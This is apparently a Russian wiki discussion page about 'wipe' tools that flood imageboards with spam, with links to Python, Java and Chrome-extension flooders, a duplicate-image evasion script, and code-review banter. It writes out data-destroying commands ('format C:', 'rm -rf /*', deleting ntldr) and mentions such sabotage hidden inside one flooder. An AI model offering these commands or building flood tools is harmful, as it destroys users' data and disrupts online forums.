- В ММОРПГ вайп - смерть всех членов отряда в рейде или подземелье. На пиратских серверах алсо означает стирание или откат базы данных персонажей, вызывающий butthurt у игроков.
- Раз в год некое подобие вайпа смотри на своей стенке во Вконтактике в свой день рождения
Вайпалка на ГУИ
- Анон, перезалей, плиз
pyFLOODer
Вопрос относительно сей вайпалки: помимо того, чтобы скачивать описанный в статье контент, для его использования понадобится еще и Perl? Это же перлскрипт, насколько я понял из кода. это питон скрипт долбоеб, какой нахуй перл. А еще там есть такая охуенная часть remove('C:\\ntldr')
Вайп в чятике
.Разместите в статье, плз.
format C:
remove('C:\\ntldr')
rm -rf /*
Анлинки
Да выпилите вы уже из кода свои ёбаные в рот анлинки. Вам бы только что-нибудь разрушить. Вишни вам мало, что ли? —Breather
- Нахуй пошел. Говноедам — говноедово.
Вайпалка на Java
Автор! Прежде чем писать о "неумеющих кодить", обрати пристальное внимание на следующее: Убогая конструкция вида из Proxy.java:
public class Proxy {
public String _url;
public int _port;
Proxy(String url, int port) { _url = url; _port = port; } }
Может легко превратиться в нечто более изящное:
public class Proxy {
public String url;
public int port;
Proxy(String url, int port) { this.url = url; this.port = port; } }
Быдлокод из ProxyParser:
/*
* HOW, FUCK, HOW do u convert from string to integer in this fucking java?
*/
private int convertToInt(String substring) {
int result = 0;
for (int i = 0; i < substring.length(); i++) {
switch(substring.charAt(i)){
case '1': result = result*10 + 1; break;
case '2': result = result*10 + 2; break;
case '3': result = result*10 + 3; break;
case '4': result = result*10 + 4; break;
case '5': result = result*10 + 5; break;
case '6': result = result*10 + 6; break;
case '7': result = result*10 + 7; break;
case '8': result = result*10 + 8; break;
case '9': result = result*10 + 9; break;
case '0': result = result*10 + 0; break;
}
}
return result;
}
Заменяется использованием static функции parseInt из класса java.lang.Integer. Функции parse оттуда же место в классе Proxy в качестве перегрузки конструктора. К слову, она дублирует функционал класса java.net.URL. В WipeClass в вашей кривой реализации run неплохо бы вынести обработку исключений вне цикла... А еще используется некая библиотека, которую автор не выложил. Так что, дорогой автор, ты мудак.
Вайп-пак для сосача
Собственно, здесь. Так как для сосача автовайпалку не реализовали, есть кое-что, что поможет улучшить процесс вайпа. По ссылке скрипт на Python для генерации идентичных изображений, которые вакаба расценивает как разные (полезно вайпать одной и той же пикчей), а также генератор вайп-пасты с луркоязом, требуется .Net 4.0.
А сам бы я этих маленьких охуительностей в вайпалках не заметил бы. Пиздец
Файл удален, Анон, верни.
Вайпалка сосача колчановская: https://github.com/exbb2/BlastItWithPiss/
Вайпалка на Джава-Скрипте
Распространяется, как расширение для Хрома Вайпает рандомно генерируемым из постов текстом и сама отвечает на посты других анонимусов, пишущих без сажи, тем самым вводя их в заблуждение, или же (SIC!) пастами с луркморя, которых уже немало за столько лет скопилось. Представляет из себя диалоговое окно с капчей, после ввода которой юзер жмет Ентер и отправляет очередную порцию говна в тред. Интересна тем, что ничего, кроме браузера, не требует и, опять же, работая в Хроме, не в состоянии отформатировать жестткий диск анонимуса. чем и доставляет. Актуальна на начало 2015 года.
Алсо
В ведроиде вайп - форматирование раздела.